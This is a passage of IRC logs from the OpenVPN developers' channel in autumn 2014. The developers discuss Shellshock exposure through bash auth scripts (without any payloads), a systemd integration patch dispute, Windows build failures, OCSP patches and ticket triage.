VPN is faster than OpenVPN". *shake fist* 01:22 <@cron2_> developed as master thesis research, aha... 01:55 <@cron2_> waldner: so, is their OpenVPN implementation good enough so we could just ditch ours? 02:41 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:48 -!- mattock_afk is now known as mattock 02:53 < waldner> cron2_: no idea, I haven't tried (yet) 04:06 -!- dazo_afk is now known as dazo 05:15 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 06:08 -!- mattock is now known as mattock_afk 06:59 <@dazo> Hmmm .... https://news.ycombinator.com/item?id=8385332 06:59 <@vpnHelper> Title: Shellshocking OpenVPN servers | Hacker News (at news.ycombinator.com) 07:04 <@plaisthos> script-security finally pays off ;) 07:13 -!- mattock_afk is now known as mattock 07:23 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 07:30 <@dazo> :) 08:23 <@syzzer> hmm, perhaps time for a 'OpenVPN and Shellshock' wiki page? (sorry, I'm really short on time and this is less my field of expertise, so I'm not volunteering) 08:24 <@vpnHelper> RSS Update - tickets: #453: TAP broken with 2.3.4-i003 Win7/Win8/Srv2008R2 client AND server <https://community.openvpn.net/openvpn/ticket/453> 08:38 -!- mattock is now known as mattock_afk 09:04 <@cron2_> can someone look into #453 whether there is something to it? I'm fairly sure tap works, and works under windows as well for win7... 09:04 <@cron2_> ("we did not do anything to break it") 09:53 <@plaisthos> cron2_: hm the ticket does not really tell use where the packets get lost 09:54 <@plaisthos> if openvpn still sees them or not 09:54 <@cron2_> so he has packet loss? 09:54 <@plaisthos> The connection is done successfully, but apart from that no go. 09:54 <@plaisthos> I would assume so ... 09:55 <@cron2_> weird. Maybe it's just a "compress" mismatch... 09:55 <@plaisthos> yeah 09:55 <@plaisthos> or something else 09:55 <@plaisthos> what we missed 09:56 <@cron2_> so (changing topics) why is OpenVPN vulnerable against shellshocker? We don't actually use system() anymore since 2.3.0 09:56 <@plaisthos> yeah 09:57 <@plaisthos> but if we use a bash script as auth-verify it is broken again :) 09:57 <@plaisthos> system wasn't the default setting in 2.2.x anyway right? 10:00 <@cron2_> is auth-verify called before the client-cert is validated? 10:00 <@plaisthos> no idea 10:02 <@plaisthos> but it is safe to assume that there a log of vpn using auth-user-pass-verify that do not require a client certificate 10:02 <@cron2_> yeah, there will be people that will be bitten by this 10:03 <@cron2_> now if I understood that TLS handshake bit... 10:04 <@cron2_> syzzer: are you here? 10:12 <@cron2_> key_method_2_read() certainly looks like it... 10:13 <@plaisthos> certificate exchange is defentively before the user/password exchange 10:13 <@plaisthos> since it is running over the tls channel 10:13 <@plaisthos> but I don't know when OpenVPN actually checks the client certificate 10:14 <@cron2_> there's a verify function called somewhere from openssl, which ends up setting session->verified = TRUE 10:16 <@cron2_> though I'm all confused, as session->verified in key_method_2_read() is only actually checked if we're not using user+pass auth 10:16 <@cron2_> so no idea where the loop is quit (because I *do* know that a failed cert will bump you even if you have user+pass correct :) ) 10:19 <@plaisthos> it is your fault to show invalid documents you weren't asked for 10:19 <@plaisthos> :) 10:19 <@syzzer> cron2_: I am now 10:20 <@syzzer> even if the client cert is checked first, it is a problem if every client gets a shell on the server 10:23 <@plaisthos> :) 10:23 <@cron2_> syzzer: true, but in that case "joe random hacker" cannot attack *my* server 10:23 <@cron2_> syzzer: do you understand the control flow between ssl.c and ssl_verify*.c here? 10:24 <@plaisthos> .oO(insert usual tls-auth mitigation sentence of advisory here) 10:24 * cron2_ claims that tls-auth won't actually help here :) 10:29 <@syzzer> nope, tls-auth only helps against non-client attackers for setups not using client certificates 10:50 -!- mattock_afk is now known as mattock 11:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 11:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 272 seconds] 11:28 -!- mattock is now known as mattock_afk 11:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 11:35 <@dazo> cron2_: one of the deployments I've worked with uses TAP from Windows7 clients with 2.3.4-I003 against a Linux based openvpn-2.3 server ... unless I remember completely wrong, I believe I did the last 2.3.4-I003 install in June or July 11:36 <@dazo> (I tried I603, but it didn't work instantly, so I tried I003 and corrected a few other mistakes ... so I don't know yet if I603 worked or not, didn't have time that day to debug further) 11:38 -!- mattock_afk is now known as mattock 11:39 <@dazo> otherwise, username/passsword auth happens *after* TLS has been setup, which means cert sigs verified against CA and --tls-verify/OPENVPN_PLUGIN_TLS_VERIFY has passed as well (if enabled) 11:45 <@dazo> In regards to the connection steps, the normal order is something like (startup only) OPENVPN_PLUGIN_UP -> main_loop {OPENVPN_PLUGIN_TLS_VERIFY -> OPENVPN_PLUGIN_CLIENT_CONNECT -> OPENVPN_PLUGIN_LEARN_ADDRESS -> OPENVPN_PLUGIN_CLIENT_DISCONNECT} -> (shutdown only) OPENVPN_PLUGIN_DOWN 11:46 <@dazo> duh ... forgot OPENVPN_PLUGIN_AUTH_USER_PASS_VERIFY after OPENVPN_PLUGIN_TLS_VERIFY 11:46 <@dazo> the plug-in steps basically matches the overall behaviour quite well 12:00 <@cron2_> dazo: good to know 12:29 -!- mattock is now known as mattock_afk 13:05 -!- mattock_afk is now known as mattock 13:06 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:11 <@cron2_> syzzer: do you have time to review and ACK the OCSP patches? 13:46 -!- dazo is now known as dazo_afk 16:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 16:13 <@cron2_> mmmh, this openvpn thingie is actually useful 16:13 * cron2_ is in switzerland, and wanted to watch a video (paid for!!) that couldn't be sent here, due to licensing bullshit... 16:13 <@cron2_> VPN home, magically video can be sent. Yay 16:13 -!- cron2_ is now known as cron2 16:30 <@vpnHelper> RSS Update - tickets: #454: Windows ovpn connect client fails to create new VPN connections when the application log file is too large. <https://community.openvpn.net/openvpn/ticket/454> 17:13 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:10 -!- mode/#openvpn-devel [+o krzee] by vpnHelper 18:10 -!- krzee changed the topic of #openvpn-devel to: OpenVPN developers channel | For configuration and user support, please go to #openvpn | See !git, !snapshots or !meetings for more info | cron2_> mmmh, this openvpn thingie is actually useful 18:10 -!- mode/#openvpn-devel [-o krzee] by krzee 18:10 <+krzee> haha --- Day changed Wed Oct 01 2014 00:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 02:40 <@syzzer> cron2_: 'soonish'. just returned from a 3-week vacation. working my way through piles of laundry and work mail/todo's 02:49 <@cron2> syzzer: *3* weeks of vaction, wow :-) 03:11 <@syzzer> btw, could you maybe take a peek at http://article.gmane.org/gmane.network.openvpn.devel/8981 ? If that patch is applied, I think #402 can be closed. 03:11 <@vpnHelper> Title: Gmane -- Re: PATCH Do not upcase x509 username field for mixed case arguments. (at article.gmane.org) 03:13 <@cron2> meh, sorry for that. you did remind me 3+ weeks ago... 03:13 <@syzzer> and yeah, 3 weeks was nice ;) 03:13 <@syzzer> np, I just keep poking ;) 03:14 <@cron2> sent myself a reminder (on a business trip right now and I can't estimate yet how much spare time I'll have today - document is due tomorrow, but we're in good shape :) ) 03:15 <@syzzer> no rush :) 04:39 -!- dazo_afk is now known as dazo 10:53 <@cron2> windows 7 is... interesting 10:53 <@cron2> open a ssh session with putty 10:53 <@cron2> fire up an openvpn session with redirect-gateway def1, verify that it takes 10:53 <@cron2> look at your ssh session 10:53 <@cron2> still going out via previous gateway 11:01 <@cron2> so there seems to be some sort of "socket protection" for established sessions when multiple interfaces are active, which I find useful, but quite surprising 11:11 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 11:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 11:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:09 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 3 voices, 9 normal] 12:39 -!- dazo is now known as dazo_afk 13:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:12 -!- mattock is now known as mattock_afk 16:57 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Day changed Thu Oct 02 2014 00:41 -!- mattock_afk is now known as mattock 00:55 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 01:52 -!- mattock is now known as mattock_afk 02:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:47 -!- dazo_afk is now known as dazo 05:47 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:18 -!- mattock_afk is now known as mattock 08:18 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 260 seconds] 10:46 -!- dazo is now known as dazo_afk 11:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:34 <@mattock> any ideas why build-complete (=windows build) fails with this error related to IPV6ONLY: http://pastebin.com/S9hmmCZ7 12:44 <@mattock> it seems obvious that either 8832c6c4cf or 451de0a8d61a have caused this 12:44 <@mattock> I wonder why it manifests itself only on windows builds 12:57 <@mattock> ah, probably a mingw_w64 issue 13:17 <@mattock> even mingw_w64 development versions seem to be missing the IPV6_V6ONLY flag 13:19 <@mattock> uh, wrong project (mingw, not mingw_w64) 13:25 <@mattock> will retry after updating the build computer 14:11 -!- mattock is now known as mattock_afk 15:28 <@cron2> mattock: "because that's how it is broken after the dual-stack merge" :) 15:29 <@cron2> which actually brings up the point that the windows build client seems to be broken again - after the last few merges, I didn't get an error message 15:29 <@cron2> plaisthos' has mailed some comments on this build failure to the -devel list about 3 months ago --- Day changed Fri Oct 03 2014 01:22 -!- mattock_afk is now known as mattock 02:06 <@mattock> I'll setup an updated windows build vm today based on ubuntu 14.04 with much updated mingw-w64 02:07 <@mattock> and check what is going on with the automated script 03:01 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 03:03 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 03:14 -!- dazo_afk is now known as dazo 06:10 <@mattock> mingw-w64 update solved the IPV6_V6ONLY problem, but left me with the rest of the mess: http://pastebin.com/aG3RajPt 06:26 <@mattock> revived the old thread 06:45 <@dazo> cron2: got a few minutes to test a patch for me? 06:46 * dazo is still in the quest of improving systemd integration ... and needs to test a build on a non-Linux box 06:46 <@dazo> the patch is here: http://fpaste.org/138842/23367991/ 06:47 <@dazo> (it should be safe .... but my "should be" patches so often explodes when others try them :-P) 06:48 <@dazo> duh ... I do see some further improvements though 06:48 <@dazo> (remove unused variables 06:48 <@dazo> ) 06:52 <@mattock> dazo: don't you know that systemd is evil! :D 06:53 <@mattock> according to some people it is a redhat plot to make Linux more like Windows 06:54 <@mattock> the discussion around it in Debian/Ubuntu has been... interesting 07:09 <@dazo> hehehe 07:10 <@dazo> yeah, I've caught some of these flames (not in deb/ubu though) ... but after having used it on my Jolla phone and my F19/F20 machines, I must say it's a great improvement 07:13 <@dazo> mattock: btw ... have a look at the file in distro/systemd/openvpn@.service file .... that's all which is needed as "init.d script" for systemd ... and compare that to the often distro centric init.d openvpn scripts :) 07:13 <@dazo> (in fact, this unit file even hardens which syscall openvpn is allowed to use, on-the-fly) 07:13 <@mattock> dazo: I also bought a Jolla in June 07:13 <@mattock> a nice phone 07:14 <@dazo> cool! satisfied? 07:14 <@mattock> yep 07:14 <@mattock> it was pretty good from the get go 07:14 * dazo need to run ... -ESIGLUNCH + -EWIFEIMPATIENT 07:14 <@mattock> didn't have to experience the growing pains 07:46 <@dazo> heh ... well, mattock, there are still bugs ;-) 07:46 <@mattock> well, yeah, but the Jolla devs are not as good as OpenVPN devs so we can expect that :P 07:47 <@dazo> lol 07:47 <@mattock> anyhow, the tethering app in jolla seems to put the wlan chip in some non-powersave mode 07:48 <@mattock> so that the wlan chip eats battery 07:48 <@mattock> that's my main annoyance, although I usually use bluetooth tethering 07:48 <@dazo> But I'm wondering if I'm beginning to have some hardware issues. The vibrating has come and gone a few times (a firm knock in the middle at the bottom of the phone restores it) ... and a few days ago the notification sounds disappeared, and it looks like it's the lower loudspeaker failing 07:48 <@mattock> some graphical glitches 07:48 <@mattock> I haven't (yet) had any graphical issues 07:48 <@mattock> sorry 07:48 <@dazo> (loudspeaker also fixed by the same firm knock) 07:48 <@mattock> hardware :) 07:49 <@mattock> definitely hardware issues 07:49 <@mattock> is it still under warranty? 07:49 <@dazo> the graphical stuff has been very solid for me 07:49 <@dazo> but bluetooth headset has been unstable since the last update this summer ... well, only when used in cars 07:49 <@mattock> occasionally when swiping in left-right direction in an app it gets "stuck" in the middle - another wipe fixes it 07:50 <@mattock> interesting 07:50 <@mattock> my bluetooth headset has worked perfectly 07:50 <@dazo> yeah, but I don't recall if it is one or two years ... but I'll probably return it for service 07:50 <@mattock> I think you should 07:50 <@mattock> it's one year I think 07:50 <@mattock> of course the manufacturer warranty can be shorter than what law gives you 07:51 <@dazo> in this case, I believe it is EU law which dictates the minimum warranty 08:03 <@mattock> could be, yes 08:04 <@mattock> have you dropped you Jolla many times? 08:04 <@mattock> I've managed not to 08:04 <@mattock> it's not as robust as the N900, so I've paid a lot of attention when handling it :P 08:05 <@dazo> It's gone into a stone floor once, hit the corner so the aluminium in the corner got some scars ... but the display is solid 08:05 <@dazo> I haven't found a matching screen protector, but no scratches at all 08:07 <@mattock> yeah, I don't have any either 08:46 <@cron2> dazo: looks ok to me - it's all in the #ifdef ENABLE_SYSTEMD code part, so other platforms should never see this 08:47 <@dazo> cron2: right, it's actually the configure.ac stuff which scares me most :) 08:48 <@cron2> also nicely inside $enable_systemd :-) - not that I'm a configure guru, but it looks similar to the libsnappy etc checks, so if it works for you with and without --enable-systemd, and you get rid of the unused variables, good enough for me :) 08:49 <@dazo> okay! thx! 08:49 <@dazo> I'll submit one which has been cleaned up a bit 09:00 <@dazo> Depending on how it goes with a patch I've submitted upstream systemd, I might have a few more tweaks, then I think oepnvpn is pretty much up-to-shape in this area ... http://thread.gmane.org/gmane.comp.sysutils.systemd.devel/23493 09:00 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 09:00 <@dazo> (until a new systemd mechanism appears for gathering username/passwords ;-)) 09:02 * cron2 refrains from commenting on systemd 09:02 <@dazo> :) 09:35 -!- mattock is now known as mattock_afk 09:46 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 10:26 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:38 <@cron2> dazo: systemd already annoys me... "nah, we can't even decide which libraries we want you to link" 10:38 <@dazo> heh 10:39 <@cron2> see the comment on the list 10:39 * dazo just replied :) 10:39 <@cron2> ah :) 10:39 <@cron2> is not here yet, will read it later (kids now) 12:18 <@dazo> eew ... forgot to update subject to v2 ... well, well, done is done 12:58 -!- dazo is now known as dazo_afk 19:27 <+krzee> so because of shellshock i figure most servers can now hack their clients if the clients accept pushed DNS' 19:28 <+krzee> and clients with PW auth can probably hack their servers, right? 19:37 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] --- Day changed Sat Oct 04 2014 03:35 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 05:05 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 05:37 <@cron2> krzee: only if the PW auth is passed on to bashy scripts (client-connect or auth-user-pass via-env) 05:38 <@cron2> by default, the server won't run anything bashy 10:48 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:03 -!- siruf_ [~siruf@unaffiliated/motley] has quit [Quit: leaving] 11:39 <+krzee> totally, by default theres no scripts 11:39 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:39 <+krzee> but to have pw auth there often is, and for pushing dns there always is (except windows) 11:39 <+krzee> obviously not openvpn's fault, but still wow 11:40 -!- siruf_ [~siruf@unaffiliated/motley] has quit [Client Quit] 11:40 <+krzee> thats a LOT of servers and clients 11:40 <+krzee> ^@ cron2 11:53 <+krzee> from the softether website: Obviously, OpenVPN is an excellent tool. However, the development of OpenVPN has been stalled for many years. And as you know OpenVPN has no significant improvement in recent years. 11:54 <+krzee> lol lol, note the same page says he released in 2013, so the page is not just very old with outdated info from the 2.0.9 days 11:55 <@cron2> yeah... marketing... 11:57 <+krzee> syzzer, the page at https://openvpn.fox-it.com/lifecycle.html shows the current version of openvpn you base on as both 2.3.2 and 2.3.4 11:57 <@vpnHelper> Title: OpenVPN-NL (at openvpn.fox-it.com) 11:58 <+krzee> well i think that specific marketing was a bit rude, you guys have been kicking major ass with improving openvpn in the last few years 11:59 <+krzee> imho 12:00 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 12:39 -!- siruf_ [~siruf@unaffiliated/motley] has quit [Quit: leaving] 12:41 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 12:44 -!- siruf_ [~siruf@unaffiliated/motley] has quit [Client Quit] 12:55 -!- siruf [~siruf@unaffiliated/motley] has quit [Quit: leaving] 12:57 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 17:30 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] --- Log opened Mon Oct 06 07:13:09 2014 07:13 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:13 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 3 voices, 9 normal] 07:13 -!- Irssi: Join to #openvpn-devel was synced in 17 secs 07:13 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:15 <@vpnHelper> RSS Update - gitrepo: ocsp_check - double check if ocsp didn't report any errors in execution <https://github.com/OpenVPN/openvpn/commit/51390f4de4f02edf377d55a7ef108798d2d8dc88> || ocsp_check - signature verification and cert staus results are separate <https://github.com/OpenVPN/openvpn/commit/e0c9e8452932a964b556daaeacdf7d9eab133e36> 08:25 <@syzzer> \o/ 08:32 <@syzzer> ... and closed #450 :) 10:41 <@cron2> jftr: the buildbot failures are all ecrist's fault 10:41 <@ecrist> close, they're the provider's fault 10:41 <@cron2> (he rebooted the test server, and I didn't restart the openvpn daemons yet) 10:41 <@ecrist> they migrated a bunch of VMs it seems 10:41 <@cron2> ecrist: oh, I assumed you did security updates or suchlike 10:41 <@cron2> nasty provider 10:41 <@ecrist> ah, no, they're all still pretty vulnerable 10:42 <@cron2> yeah... maybe one should do a BSD and port update eventually... :) 10:43 <@ecrist> I'd almost rather do a fresh-isntall 10:43 <@ecrist> install 10:44 <@cron2> should work out fine, just move over /root :-) - everything relevant is in there (easy-rsa for the test CA, and the actual server setup) 10:45 <@ecrist> I have to migrate the forums to a new server, as well, this week. I'll make that happen at the same time. 10:45 <@ecrist> hard alcohol is on sale on Tuesday's, so that's looking good. 10:45 <@ecrist> ;) 10:45 <@cron2> ok, let me know when you move the stuff so I can avoid to give mattock another heart attack :) 10:47 <@ecrist> ok 10:47 <@ecrist> that machine won't take long. restore /root and /etc/rc.conf, /etc/sshd/ from backups, reboot 10:48 <@cron2> yep, and then please run /root/openvpn-test-server/start :) 10:48 <@ecrist> ok 10:48 <@ecrist> I'll add that to /etc/crontab as an @reboot 10:49 <@ecrist> as root, right? 11:30 -!- dazo is now known as dazo_afk 12:07 <@cron2> ecrist: yep, thanks ("I could do an RC script but since I never reboot, didn't bother yet") 15:40 -!- mattock is now known as mattock_afk 15:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Tue Oct 07 2014 00:57 -!- mattock_afk is now known as mattock 01:59 -!- mattock is now known as mattock_afk 02:17 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 02:23 -!- dazo_afk is now known as dazo 04:54 <@vpnHelper> RSS Update - tickets: #455: Routing issues on iOS <https://community.openvpn.net/openvpn/ticket/455> 05:30 -!- mattock_afk is now known as mattock 06:26 <@dazo> cron2: got time to review my v2 patch for openvpn/systemd clean-up? 06:27 <@dazo> My patch to systemd was accepted, so I want to add another patch on top of this clean-up patch ... then I think we're getting quite close to a reasonable systemd integration 06:28 <@dazo> Message-Id: <1412356567-27125-1-git-send-email-openvpn.list@topphemmelig.net> 07:23 <@cron2> dazo: looks good to me (said so already :) ), need to formally ACK. Shall I ack-and-commit, or ack and you commit? 07:23 <@dazo> cron2: what's easiest for you :) 07:26 * cron2 acks-and-commits, just wait a sec for a test compile 07:27 <@dazo> thx! 07:41 <@vpnHelper> RSS Update - gitrepo: systemd: Use systemd functions to consider systemd availability <https://github.com/OpenVPN/openvpn/commit/f33ee6bcb12fdc3869b17b7c528a209f16581e2e> 08:00 <@vpnHelper> RSS Update - tickets: #456: TUN/TAP V9.21 does not get dhcp settings whereas V9.9 works <https://community.openvpn.net/openvpn/ticket/456> 08:21 <@ecrist> cron2: I'm going to reinstall phillip this morning 08:21 <@ecrist> starting work on it now 08:22 <@ecrist> mattock: that means freebsd build-bot tests are going to fail. 08:22 <@cron2> ecrist: all buildbot tests will fail :) - but as long as I'm not pushing new commits, no tests are going to run 08:23 <@mattock> cron2: regarding that 08:23 <@mattock> buildbot webui supports forcing a build on all builders from a different (non-master) branch 08:23 <@mattock> I wonder if it would make sense to push patches to some other branch (say, "staging"), force a build and then if the build succeeds, push the same change to "master" 08:24 <@cron2> mattock: by default, or by entering a specific revision? 08:24 <@cron2> ah 08:24 <@cron2> nah, this is way too heavy 08:24 <@cron2> (in theory it sounds cool, in practice it would delay every commit by a few hours) 08:24 <@mattock> well, depends on whether you manually run tests in any case 08:25 <@mattock> if you don't run any tests, then it's definitely more heavyweight 08:25 <@cron2> I do run tests, but they run way faster than a whole buildbot run 08:25 <@cron2> (as I usually can see quite well which platforms will be affected and test there) 08:25 <@mattock> ok, that's what I assumed 08:26 <@mattock> anyways, it might still make sense to run the whole battery of tests for certain patches which might break things 08:26 <@mattock> just so that you know that the option exists :) 08:26 <@cron2> yeah, we do that, and then we add fix-it patches :-) 08:26 <@cron2> nothing bad with that 08:37 <@ecrist> cron2 - I've talked to the provider, and there's a service update (our service level gets "more" by default, now). In order to do the update, they need to reprovision the VM 08:37 <@ecrist> for the time being, phillip is back up and running. 08:39 <@ecrist> maybe not, looks like they're already working on that ticket. 08:44 <@cron2> dazo: excuse me if I'm not excited about the new patch set 08:45 <@cron2> this is adding more and more stuff to autoconf which *OpenVPN* really isn't interested, and especially not at compile-time 08:45 <@cron2> so I have to recompile OpenVPN if systemd gets updated? 08:46 <@cron2> why can't people just put --echo in the openvpn config if they want to use that? 08:46 <@ecrist> why should openvpn have to give a shit about the init system? 08:46 <@ecrist> isn't that up to the packager? 08:46 <@cron2> well, being able to query for key passwords when running as a daemon is useful 08:47 <@cron2> (and we already have that, so generally argueing the feature is too late now) 08:47 <@ecrist> get off my lawn 08:47 <@ecrist> damn kids 09:24 <@dazo> cron2: that --echo statement is passed to systemd-ask-password ... and it is only used to ensure that openvpn will run on systems with older systemd installations 09:25 <@dazo> cron2: that --echo statement disables masking of passwords ... so instead of seeing: Enter auth username: **** ... they see: Enter auth username: dazo 09:27 <@cron2> dazo: yeah, I understand that, but "why do we have to add code for to OpenVPN"? 09:27 <@cron2> for it 09:27 <@cron2> especially adding stuff to configure.ac and yet another #ifdef is bad 09:27 <@dazo> Remember that systemd is far more than an init system ... and the future incarnations of systemd will with time also integrate more seamlessly into the desktop .... so openvpn won't be started by systemd before the appropriate networks are available, and if username/passwords is needed, openvpn will be able to take advantage of that without implementing anything else than calling the 'ask password' interface 09:28 <@cron2> all nice and dandy, but why does it have to be another #ifdef? 09:28 <@cron2> can't we just assume a working systemd version? 09:28 <@dazo> if you do 'systemd-ask-password --echo' on a systemd version which doesn't support it, it will explode 09:28 <@dazo> and we will get bug reports 09:29 <@cron2> nobody will compile openvpn with --enable-systemd except distribution makers, and they should ship an up-to-date systemd version as well 09:30 <@cron2> turn the argument sideways: by the time we ship 2.4, do you expect older version of systemd to be still around? 09:30 <@dazo> yes 09:30 <@dazo> Fedora 21 which is in alpha now ships with 215 09:31 <@cron2> well, hopefully they will get an up-to-date version in it before shipping FC21 release? 09:31 <@cron2> but FC21 won't contain openvpn 2.4 anyway 09:31 <@dazo> Fedora Rawhide which is the bleeding edge is at 216 .... the --echo feature will hopefully arrive in 217 09:31 <@cron2> why are they not upgrading to the latest and greatest? 09:32 <@dazo> because it takes time .... v217 isn't released yet 09:32 <@cron2> neither is FC21... 09:32 <@dazo> alpha releases are out 09:33 <@dazo> then there's a bunch of other Linux distros, which I have no overview over 09:34 <@cron2> I still do not like it and won't be convinced - this is code that is dead code by the time we ship 2.4 and yet another thing which will eventually explode in the then-maintainer's face 09:35 <@cron2> (and I don't particularily believe in "run openvpn under systemd control with user+pass auth" - network manager is much better suited for that sort of usage) 09:35 <@cron2> if I want to run it as server, systemd is great, but then I won't have user/pass prompting anyway 09:35 <@dazo> When we release 2.4, it will go 1-2 weeks and F20 and F21 will be updated ... if F21 may have moved to 217, F22 will for sure 09:36 <@cron2> dazo: 09:36 <@dazo> I'd recommend you to really try systemd on servers too, seriously 09:36 <@cron2> what brings you to assume that F20 will upgrade to 2.4 for OpenVPN, but not to 217 for systemd? 09:36 <@dazo> Because I know the Fedora maintainer is good at staying up-to-date 09:36 <@cron2> dazo: yeah, but on servers, I do not run openvpn as a client (or if I *do*, I do not have a console where it could ask me) 09:36 <@cron2> dazo: if they are good at staying up-to-date, they will have systemd 217 09:38 <@dazo> Maybe, but they are far more careful with systemd updates than openvpn ... as if a systemd update fails, the system won't boot or can't be managed ... while openvpn, the risk is acceptable 09:38 <@dazo> My F19 which still gets updates are on systemd 204 09:39 <@cron2> I'd argue we just add --echo, and if indeed it turns out that FC20 will want 2.4 but has no systemd 217, the maintainer can patch it out 09:40 <@vpnHelper> RSS Update - tickets: #457: Building OpenVPN for Windows from Git using openvpn-build/generic fails <https://community.openvpn.net/openvpn/ticket/457> 09:40 <@dazo> but also have in mind that this will hit plenty of other distros too ... Debian, Ubuntu, Arch, Gentoo, opensuse ..... 09:40 <@dazo> I'm just trying to avoid us from walking into a support trap 09:41 <@dazo> because I've already heard people complaining about the masking of usernames already 09:41 <@dazo> and if it suddenly stops working .... well, I'm not keen on seeing that 09:42 <@dazo> (and you actually argue about 4 additional lines in console.c and and 3 lines in m4/pkg.m4 .... if it had been more invasive, I would have understood your arguments better) 09:43 <@cron2> I argue about a compile time check of a run-time version of another component of the system, which adds an #ifdef, and obscure code to configure.ac 09:43 <@dazo> first of all, if there had been a systemd function to query for version or features, I would have preferred that 09:43 <@cron2> so openvpn needs to be compiled on the same systemd version than the system it's run on, and that is so broken 09:44 <@cron2> so you compile on a newer system, copy the rpm over, will break - that's not good eithre 09:44 <@dazo> that's not what's happening, as the glibc dependenices won't fit 09:44 <@dazo> and openssl + pkcs11 libs 09:45 <@dazo> rpms are bound to same base OS ... and in the fedora world, it's common to use 'mock' to build distros for separate distro versions 09:45 <@dazo> When it comes to configure.ac ... there's nothing obscure about that ... the AC_DEFINE_UNQUOTED() I copied that from a line further down, just modified the variables 09:46 <@dazo> (and the pkg.m4 changes, is copy-paste of the _LIBS lines) 09:46 <@cron2> whatever. If you find someone who thinks this is sane and should go in, fine with me, but I'm not going to ACK it 09:47 <@cron2> I'd actually take *out* the whole systemd integration stuff and go for something more generic (which could then map to systemd via plugin or external helper or whatnot) 09:48 <@dazo> to make that fit as a plug-in, that would require a massive work on the plug-in infrastructure 09:48 <@dazo> including new function hooks 09:49 <@cron2> it could be a new plugin interface, or just having an option that controls what to call with which arguments, instead of a compile-time thing... 09:49 <@dazo> feel free to patches 09:51 <@cron2> looking at the commit log, that system stuff is really insane - 10 lines of code, 8 commits already, two changes to configure.ac 09:51 <@cron2> that should be an intention that there is something wrong here 09:51 <@cron2> s/intention/indication/ 09:52 <@mattock> I created a ticket about the openvpn-build + Git "master" problem: https://community.openvpn.net/openvpn/ticket/457 09:52 <@vpnHelper> Title: #457 (Building OpenVPN for Windows from Git using openvpn-build/generic fails) – OpenVPN Community (at community.openvpn.net) 09:52 <@cron2> mattock: ah, that's yours. I'm pretty sure we already have one or two, no? 09:52 <@mattock> apparently only a few people use openvpn-build with latest Git because this was not reported 09:53 <@mattock> cron2: couldn't find anything with "openvpn-build" + search tickets in trac 09:53 <@mattock> unless Trac search field is silly (e.g. "openvpn minus build" 09:53 <@dazo> the first round of the implementation wasn't perfect. And that was because the availability of systemd distros at that time was limited. But opensuse was actually the early adopters here. And we knew that when we accepted those patches. I've now just cleaned up things as I've seen them coming along. I bet your IPv6 stuff wasn't perfect the first rounds either. 09:57 <@mattock> is it systemd itself that is causing this complexity? 09:58 <@mattock> and will the integration affect non-systemd platforms? 09:58 <@cron2> dazo: "we" didn't look closely enough - you might have known, I didn't 09:58 <@cron2> mattock: I'm not sure what bugs are there but I'm sure I've seen the build failures of master-on-windows mentioned somewhere 10:00 <@mattock> cron2: ok 10:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:03 <@cron2> plaisthos: since you've resurfaced :-) - I've been thinking whether we should change the printing of IP addresses in our logs again, to turn "::ffff:80.187.102.138" (IPv4 on v6 